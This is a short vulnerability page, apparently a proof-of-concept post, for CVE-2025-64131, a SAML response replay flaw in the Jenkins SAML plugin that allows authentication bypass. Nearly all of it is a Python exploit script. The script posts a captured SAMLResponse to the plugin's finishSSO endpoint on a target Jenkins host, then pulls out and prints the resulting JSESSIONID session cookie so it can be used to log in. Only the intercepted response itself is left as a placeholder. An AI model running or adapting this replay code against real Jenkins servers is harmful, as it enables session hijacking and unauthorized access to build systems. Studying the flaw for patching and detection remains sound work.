CVE-2025-64131: Jenkins SAML插件存在重放攻击导致认证绕过

# CVE-2025-64131 PoC - SAML Response Replay Attack Concept # Note: This is a conceptual PoC for educational purposes only import base64 import time import requests # Configuration JENKINS_URL = "http://target-jenkins:8080" SAML_ENDPOINT = "/securityRealm/startSSO" def capture_saml_response(): """ Step 1: Capture SAML Response through MITM or network sniffing In real attack scenario, attacker would intercept network traffic between user's browser and Jenkins SAML IdP. """ # Simulated captured SAML Response (deflated and base64 encoded) captured_response = "SAML_RESPONSE_BASE64_STRING" return captured_response def replay_saml_response(saml_response): """ Step 2: Replay the captured SAML Response to Jenkins ACS endpoint The plugin does not validate assertion replay, allowing reuse """ acs_url = f"{JENKINS_URL}/securityRealm/finishSSO" # Craft the replay request headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Compatible Jenkins SAML Replay)' } data = { 'SAMLResponse': saml_response, 'RelayState': '/' } try: response = requests.post(acs_url, data=data, headers=headers, allow_redirects=False) if response.status_code in [302, 303] and 'JSESSIONID' in response.cookies: print("[+] Replay attack successful! Session cookie obtained.") print(f"[+] Session ID: {response.cookies['JSESSIONID']}") return response.cookies['JSESSIONID'] else: print("[-] Replay attack failed or requires additional steps.") return None except Exception as e: print(f"[-] Error during replay: {e}") return None def main(): print("CVE-2025-64131 - Jenkins SAML Replay Attack PoC") print("=" * 50) # Step 1: Capture (simulated) saml_response = capture_saml_response() # Step 2: Replay session_cookie = replay_saml_response(saml_response) if session_cookie: print("\n[!] Attack completed. Use the session cookie to access Jenkins.") if __name__ == "__main__": main()